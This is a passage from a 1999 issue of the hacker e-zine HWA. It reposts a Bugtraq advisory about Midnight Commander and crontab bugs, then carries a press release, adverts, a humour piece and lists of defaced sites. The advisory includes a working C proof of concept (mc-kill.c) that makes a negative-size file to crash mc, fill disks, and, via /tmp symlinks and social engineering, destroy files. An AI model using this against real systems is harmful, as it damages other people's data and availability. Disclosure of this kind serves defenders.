Approved-By: aleph1@UNDERGROUND.ORG
Received: from lighting.ml.org (qmailr@main.lighting.ml.org [195.205.44.70]) by
netspace.org (8.8.7/8.8.7) with SMTP id CAA05322 for
; Thu, 15 Apr 1999 02:15:49 -0400
Received: (qmail 19504 invoked by uid 1030); 15 Apr 1999 06:16:08 -0000
Message-ID: <19990415061608.19503.QMAIL@LIGHTING.ML.ORG>
Date: Thu, 15 Apr 1999 06:16:08 -0000
Reply-To: z33d@LIGHTING.ML.ORG
Sender: Bugtraq List
From: Maurycy Prodeus
Subject: Large size file and Midnight/bug in crontab with this file
To: BUGTRAQ@netspace.org
Hello ...
*******************************************************************************
*
* I. -= Midnight small buf =-
*
* II. -= Large size file - you can fill disk too with crontab ( Michal
* Zalewski found this )
*
*******************************************************************************
I.
This time I found another bug in Midnight Commander 4.xx [ i used 4.1.33 ;)] ...
We can make a Segmentation Fault and if root doesn't lock this , it causes
Core Dumping ... ofcourse we just make some file in /tmp (?) and if root
read this file ... his mc creates core... yeesss we can make symlink to
every file in system ... and this file will be total destroy !
Together with "Social Engeering",it is dangerous . [ filename may be example :
hacker.tools or sth. ]
What file we must create ?
With negative size , but really it is a very large size ;-) ( very strange
that even in kernel 2.2.5 it is posible )
Quick test : Run this program and next run mc and try read [ F3 ofcourse
and example PageDown ] file which was created by mc-kill ...
--------- mc-kill.c ------------
#include
#include
#define size -900000
main(int argc,char* argv[]) {
int i;
if (!argv[1]) {
printf("\nUSAGE : %s filename[and patch] \n\n",argv[0]);
exit(0);
}
fchmod(i=open(argv[1],O_RDWR|O_CREAT,0600),0666);
ftruncate(i,size);
fsync(i);
}
------------ end of mc-kill.c ---------------
SOLUTION
You NEVER read strange file in MC ...:-)
hmmm seriously : lcamtuf [ http://dione.ids.pl ] wrote kernel module which
not allow to create symlinks in /tmp ...
II.
If you use above program ( or /dev/zero :-) ) you may fill partition ...
When crontab is reading file , creates temp in /var/spool/cron/ ( non-root
can't even read this - lcamtuf ) But , if it doesn't finish then doesn't
delete
this temp file ... OK. So , we must give crontab file with "infinit" size
.
Example : crontab -file-made-by-mc-kill
SOLUTION
It isn't very dangerous.
*******************************************************************************
z33d email : z33d@lighting.ml.org www : z33d.lighting.ml.org
Jesli nie istnieje racjonalna strategia optymalna , optymalna strategia
jest strategia losowa ...
- unknown
@HWA
38.0 NFR releases Back Officer desktop IDS
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
http://nt.excite.com/news/bw/990415/dc-network-flight-record
NFR BackOfficer Friendly Goes On Patrol
(Last updated 10:37 AM ET April 15)
WASHINGTON (BUSINESS WIRE) - Network Flight
Recorder(R) (Bloomberg Ticker: 9022Z EQUITY), a technology
leader in intrusion detection and network monitoring, today
announced the release of NFR(tm) BackOfficer Friendly(tm)
Version 1.0, a desktop intrusion and scan detection server that
watches for Back Orifice attacks and other types of scans.
Back Orifice, a remote control penetration application, silently
allows hackers complete control of infected machines. Increasingly,
hackers are also using vulnerability assessment tools designed for
security professionals, against unsuspecting users.
"We've found that a huge number of people don't realize that when
they're dialed into the Internet, whether through a dial-up or cable
modem, their systems are being periodically scanned by hackers,
looking for vulnerabilities to exploit," noted Marcus J. Ranum,
President and CEO of Network Flight Recorder, Inc. "BackOfficer
Friendly will block and indicate the type and severity of certain
scans."
"BackOfficer Friendly helped us investigate a case where another
police officer's computer was attacked. We were able to track
down the perpetrator, make an arrest, and seize four computers,"
said a criminal investigator with a state police agency who was an
early tester of BackOfficer Friendly. "Upon installing BackOfficer
Friendly on my machine, I was scanned the very next day."
Using spoofing server technology, BackOfficer Friendly responds to
Back Orifice and other possibly unwanted requests with false
answers that look like they were created by the hacker tool. At the
same time, BackOfficer Friendly alerts you and records information
about the source of the attempt and the operations they attempted
to perform.
"The spoofing server technology of BackOfficer Friendly uses
virtually no system resources, and doesn't consume any processing
power while it's listening for scans. Unlike more elaborate intrusion
detection systems, it takes about 10 seconds to install and goes right
to work," said Ranum.
"Any network or security administrator that manages Windows
systems should be armed with this intrusion detection tool," said
U.N. Owen, an Internet security consultant with
DREAMWVR.COM. "BackOfficer Friendly not only informs you
in real-time of the situation, it provides you with the necessary
evidence you will need to stop the hackers cold. It shows you
exactly how they intend to harm you, so you can react quickly.
Extendable, it reacts to popular weaknesses in the systems you
protect. Even as I considered my comments, BackOfficer Friendly
informed me of yet another intrusion attempt."
Pricing and Availability
BackOfficer Friendly 1.0 for Windows environments is available
immediately for free download from the NFR Web site
(http://www.nfr.net/products/bof/). The registered version for
Windows is $10 per desktop. A UNIX version, with a reduced
feature set, is available in source code format for free download
from the NFR Web site.
About Network Flight Recorder (NFR)
Network Flight Recorder, with offices around the United States and
resellers worldwide, is a leading developer of intrusion detection,
network traffic, and network analysis tools. The flexibility of the
NFR software provides effective local and distributed misuse
detection solutions for small, medium, and large environments.
NFR's highly customizable technology is deployed at more than
1,500 sites worldwide, including financial institutions, government,
military and intelligence agencies, and Fortune 500 firms. NFR
news and company information can be found on The Bloomberg
under the ticker symbol: 9022Z EQUITY and on the World Wide
Web at http://www.nfr.net.
Network Flight Recorder is a registered trademark and NFR, the
striped NFR logo, BackOfficer Friendly, and the BackOfficer
Friendly logo are trademarks of Network Flight Recorder, Inc.
Other products, services, and company names mentioned herein
may be trademarks of their respective owners.
AD.S ADVERTI$ING. The HWA black market ADVERTISEMENT$.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Come.to/Canc0n99
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
http://come.to/Canc0n99 http://come.to/Canc0n99 http://come.to/Canc0n99http:j
http:/ 99 http:o
http:/ login: sysadmin n99 httpi
/come. password: tp://comn
to/Can me.to/Cat
c0n99 SYSTEM NEWS: Canc0n99 is looking for more speakers and Canc0n99h
http:/ industry people to attend with booths and talks. 99 http:e
/come. you could have a booth and presentation for the cost of p://comel
http:/ little more than a doorprize (tba) contact us at our main n99http:i
http:/ address for info hwa@press.usmc.net, also join the mailing n99http:s
http:/ for updates. This is the first Canadian event of its type invalid t
403 Fo and will have both white and black hat attendees, come out logged! !
404 Fi and shake hands with the other side... *g* mainly have some IP locked
ome.to fun and maybe do some networking (both kinds). see ya there! hostname
http:/ x99http:x
o/Canc x.to/Canx
http://come.to/Canc0n99 http://come.to/Canc0n99 http://come.to/Canc0n99http:x
o/Canc0n99 http://come.to/Canc0n99 http://come.to/Canc0n99 http://come.to/Canx
http://come.to/Canc0n99 http://come.to/Canc0n99 http://come.to/Canc0n99
Canc0n99 Canc0n99
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
$$$?$$$?$$$?$$$?$$$?$$$?$$$?$$$?$$$?$$$?$?$??$??$??$????$$$?$$$?$$$?$$$?$$$?$$
! !
$ $
! *** IT HAS BEEN FOUR YEARS! *** FREE KEVIN MITNICK NOW!!!! ** !
$ $
! !
$$$$?$$$?$$$?$$$?$$$?$$$?$$$?$$$?$$$?$$$?$?$??$??$??$????$$$?$$$?$$$?$$$?$$$?$
www.2600.com www.freekevin.com www.kevinmitnick.com www.2600.com www.freekevi
n.com www.kevinmitnick.com www.2600.com www.freekevin.com www.kevinmitnick.co
m www.2600.com ########################################ww.2600.com www.freeke
vin.com www.kev# Support 2600.com and the Free Kevin #.com www.kevinmitnick.
com www.2600.co# defense fund site, visit it now! . # www.2600.com www.free
kevin.com www.k# FREE KEVIN! #in.com www.kevinmitnic
k.com www.2600.########################################om www.2600.com www.fre
ekevin.com www.kevinmitnick.com www.2600.com www.freekevin.com www.kevinmitnic
k.com www.2600.com www.freekevin.com www.kevinmitnick.com www.2600.com www.fre
www.2600.com
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* www.csoft.net webhosting, shell, unlimited hits bandwidth ... www.csoft.net *
* www.csoft.net www.csoft.net www.csoft.net www.csoft.net www.csoft.net *
One of our sponsers, visit them now www.csoft.net
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* WWW.BIZTECHTV.COM/PARSE WEDNESDAYS AT 4:30PM EST, HACK/PHREAK CALL-IN WEBTV *
* JOIN #PARSE FOR LIVE PARTICIPATION IN SHOW CHAT OR THE WEBCHAT, AND WEBBOARD*
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* WWW.2600.COM OFF THE HOOK LIVE NETCAST'S TUES SIMULCAST ON WBAI IN NYC @8PM *
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
//////////////////////////////////////////////////////////////////////////////
// To place an ad in this section simply type it up and email it to //
// hwa@press,usmc.net, put AD! in the subject header please. - Ed //
//////////////////////////////////////////////////////////////////////////////
@HWA
HA.HA Humour and puzzles ...etc
~~~~~~~~~~~~~~~~~~~~~~~~~
Don't worry. worry a *lot*
A DAY IN THE LIFE OF A LEET HAX0R
by 0rin
Part 1: A School Day
---------------------
7:20am: Elite hax0r wakes up to prepare for another challenging day of 7th grade.
7:25: Elite hax0r signs onto AOL (computer is never turned off)
7:30: Elite hax0r checks new mail for elite hacking progs and warez
7:40: After 10 minutes of chatting in with the folks in leet, elite hax0r's mom takes the telephone off the hook.
7:55: m0m and elite hax0r are having an argument about wasted time online.
8:00: elite hax0r's dad drops him off at Mitnick Middle School
8:05: elite hax0r enters typing class. this is his elite hacking playground, and he loves to confuse the teacher by pressing num lock,
and shouting '3y3 hax0red j00!!!'
9:00: typing class is over, and elite hax0r travels to his history class. No 'puters here, so, he strategically places his copy of 2600
inside his history book and memorizes the 'how to steal stuff' article.
9:30: history teacher catches elite hax0r with the clandestine 2600 and takes it away from him. elite hax0r begins a
heart-wrenching speel about freedom of speech, and his right as a citizen of this country to read his elite 2600 whenever he
pleases. he compares this atrocity to the unjust imprisonment of hax0rs everywhere, and takes comfort in his martyrdom. leet is
definitely hearing about this tonight.
10:05: elite hax0r goes to english.
10:50: elite hax0r goes to lunch period. here, he sits with his class in the cafeteria and takes his usual spot near the lunchlady's
cashregister so he can write down people's lunch numbers. This comes in handy, as they could possibly use their lunch number as
their AOL password. And if not, its always really leet to have even the most insignificant 1nph0z.
11:25: elite hax0r goes to pre algebra. today, he makes the kid in the desk next to him ph33r when he types 1134 on the calculator
and holds it upside down. he wonders if this is similar to hacking an LED sign like in 2600..?
12:15: elite hax0r goes to science class where he learns about the reproductive system. elite hax0r excuses himself from class where
he performs a quick wetware hack.
1:30: elite hax0r gathers his books and stands in front of the school
1:35: elite hax0r is picked up by the small yellow bus with the power lift on the back.
2:00: elite hax0r is dropped off at home, and he rushes inside to sign on and check his mail.
2:30: after 30 minutes online, elite hax0r is forced to sign off and take a nap. Ms. Hax0r cant have her baby getting cranky.
4:45: elite hax0r wakes up, and begins writing his manifesto, which he plans to present to his history teacher tomorrow.
4:47: elite hax0r gets tired of writing and feels like going outside. he and his little brother ride their bikes around in circles in the
carport.
5:15: Ms. Hax0r calls the children inside for dinner.
6:00: hax0r children finish dinner, and elite hax0r asks for permission to get online and hack some stuff.
6:05: elite hax0r battles AOL's perpetual busy signal; its probably just a ploy by AOL to block him from coming online, in ph33r he
might hax0r their network.
7:05: elite hax0r continues to hax0r away at AOL's "busy signal"
7:30: finally, elite hax0r crax0rs the busy signal and sneaks his way inside. He checks his mail for leet progs and tries to enter pr
'leet'. But, in another attempt by AOL to bring him down, the room is full (its really just their $3cur1ty 3xp3rt$ trying to keep him
out).
7:40: elite hax0r finally busts into 'leet' in 137 tries.
he chats with his homies.
8:00: elite hax0r is still chatting with the leets, when Ms. Hax0r picks up the fux0ring telephone and signs him offline.
8:35: after 20 minutes of crax0ring the "busy signal", in an angered retalliation attempt, elite hax0r steals mom's credit cards and
scrolls them in 'leet' and 'phreak'.
9:00: elite hax0r finally finishes scrolling, and takes some time to work on his webpage;
http://members.aol.com/Leethax0r/index.html. Here, he posts his new hax0r's manifesto, and lists $houtoutZ to his homies in 'leet'
and 'punt', and his main chix0r Annie.
10:00: after an hour of figuring out how to use the AOL webpage software, he grows tired of all this brain work, and signs offline.
10:25: leet hax0r brushes his teeth,puts on his kevin mitnick pajamas, and goes to sleep.
11:00: leet hax0r dreams that he is Dade Murphy, and that he is having wild sex0r with Acid Burn, while hacking the FBI's Main
Gibson.
http://neatoelito.org/hax0ring/day.html
@HWA
HOW.TO How to hack part 3
~~~~~~~~~~~~~~~~~~
To be continued (probably) in a future issue... if time permits
and inclination is prevelant. ie: if & when I feel like it.. :p
(discontinued until further notice)
Meanwhile read this:
http://www.nmrc.org/faqs/hackfaq/hackfaq.html
Link
And especially, this:
http://www.tuxedo.org/~esr/faqs/hacker-howto.html
Link
(published in its entirety in issue #12)
@HWA
SITE.1
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
H.W Hacked websites
~~~~~~~~~~~~~~~~
Note: The hacked site reports stay, especially with some cool hits by
groups like *H.A.R.P, go get em boyz racism is a mugs game! - Ed
* Hackers Against Racist Propaganda (See issue #7)
April 10-12th via HNN rumours section
contributed by Anonymous
http://www.wrestlepage.com
http://www.nl.gob.mx/
http://www.nuevoleon.gob.mx/
http://sgi.bls.umkc.edu/
http://www.questdv.com
http://www.familywells.com
http://www.towngreen.com
http://www.eranorton.com
http://www.babyspice.co.uk
http://www.mbassociates.com/
http://www.stannecu.org/
http://www.charlie-farren.com/
http://www.kristalpooler.com/
http://www.webhackers.com/
http://www.home-listings.com/
http://www.folgersliquors.com/
http://www.indecu.gov.ve/
http://www.kristalpooler.com/
http://www.impulsions.com/
April 14th
contributed by Anonymous
Via HNN's rumours section;
http://mexico.silverserver.co.at
http://pitesti-gw.mediacom.pcnet.ro
http://chiavari.omninet.it
http://rapallo.newnetworks.it
http://servizi.raffo.it
http://nazi.org
http://hitler.org
http://www.amerika.org
http://www.moral.org
http://www.genocide.org
April 15th
contributed by Anonymous
Via HNN rumours section.
Cracked
The following sites have been reported to us as cracked:
http://www.cd-worldwide.com
http://www.towngreen.com - again
http://www.winscene.net
http://www.sintek.net
http://www.eldoradokansas.com/
http://www.anuies.mx
April 16th
http://www.olinet.com/
http://www.nidagroup.com
http://www.softmap.com
http://www.amspirit.com
http://www.kicks.com
http://www.columbusrotary.com
http://www.ohiocancer.org
http://www.cyberlinebbs.com
http://www.cam-bell.com
http://www.wescosupply.com
http://www.tosrv.org
http://www.wildblueyonder.com
http://www.leadinc.com
http://www.mcelheny.com
http://www.auldco.com
http://www.famentinc.com
http://www.mbauctioneer.com
http://www.sizzlemarine.com
http://www.wgglaw.com
http://hackedalert.8m.com
from HNN rumours section;
Innerpulse Cracked?
There seems to be a lot of confusion as to what has happened to
Innerpulse.com, a hacker news site that takes a more humorous
approach than HNN. Some have said that they have been cracked,
other think they have been bought out. Who knows. HNN has been
unable to contact the operators of either site. Your guess is as
good as ours.
(It should be interesting to note that the HWA mirror on the same server
as innerpulse appears to have been rm'd and our password no longer works
on our account on that site - coincedence? also on visiting the
www.innerpulse.com site you are now greeted with what appears to be a
law firm's new webpage, on EFNet #innerpulse the topic claims that
innerpulse was '0wned by AMBULANCE CHASERZ' wether this is a legit hack
or the case of a server getting fedup with hackersites is unknown at this
writing - Ed )
Site as it stands now: Link
Welcome to the new Home Page of the
Law Office of Roni M. Stutman
Our Web Site is currently under construction. Please contact us using the following particulars:
Address: 367 Elm Street
West Haven, CT 06516
Telephone: (203) 934-4104
Fax: (203) 931-3036
Email: rstutman@ctlawoffice.com
@HWA
_________________________________________________________________________
A.0 APPENDICES
_________________________________________________________________________
A.1 PHACVW, sekurity, security, cyberwar links
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The links are no longer maintained in this file, there is now a
links section on the http://welcome.to/HWA.hax0r.news/ url so check
there for current links etc.
The hack FAQ (The #hack/alt.2600 faq)
http://www-personal.engin.umich.edu/~jgotts/underground/hack-faq.html
hack-faq
Hacker's Jargon File (The quote file)
http://www.lysator.liu.se/hackdict/split2/main_index.html
Original jargon file
New Hacker's Jargon File.
http://www.tuxedo.org/~esr/jargon/
New jargon file
Mirror sites:
~~~~~~~~~~~~
http://www.csoft.net/~hwa/ (Down, we don't know whats going on at cubesoft)
http://members.tripod.com/~hwa_2k
http://welcome.to/HWA.hax0r.news/
http://www.attrition.org/~modify/texts/zines/HWA/
http://www.genocide2600.com/~tattooman/zines/hwahaxornews/
International links:(TBC)
~~~~~~~~~~~~~~~~~~~~~~~~~
Foreign correspondants and others please send in news site links that
have security news from foreign countries for inclusion in this list
thanks... - Ed
Belgium.......: http://bewoner.dma.be/cum/ Go there
Brasil........: http://www.psynet.net/ka0z Go there
http://www.elementais.cjb.net Go there
Columbia......: http://www.cascabel.8m.com Go there
http://www.intrusos.cjb.net Go there
Indonesia.....: http://www.k-elektronik.org/index2.html Go there
http://members.xoom.com/neblonica/ Go there
http://hackerlink.or.id/ Go there
Netherlands...: http://security.pine.nl/ Go there
Russia........: http://www.tsu.ru/~eugene/ Go there
Singapore.....: http://www.icepoint.com Go there
Got a link for this section? email it to hwa@press.usmc.net and i'll
review it and post it here if it merits it.
@HWA
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-
--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--
© 1998, 1999 (c) Cruciphux/HWA.hax0r.news (R) { w00t }
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-
--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-
[ 28 63 29 20 31 39 39 39 20 63 72 75 63 69 70 68 75 78 20 68 77 61 ]
[45:6E:64]-[28:63:29:31:39:39:38:20:68:77:61:20:73:74:65:76:65]
---->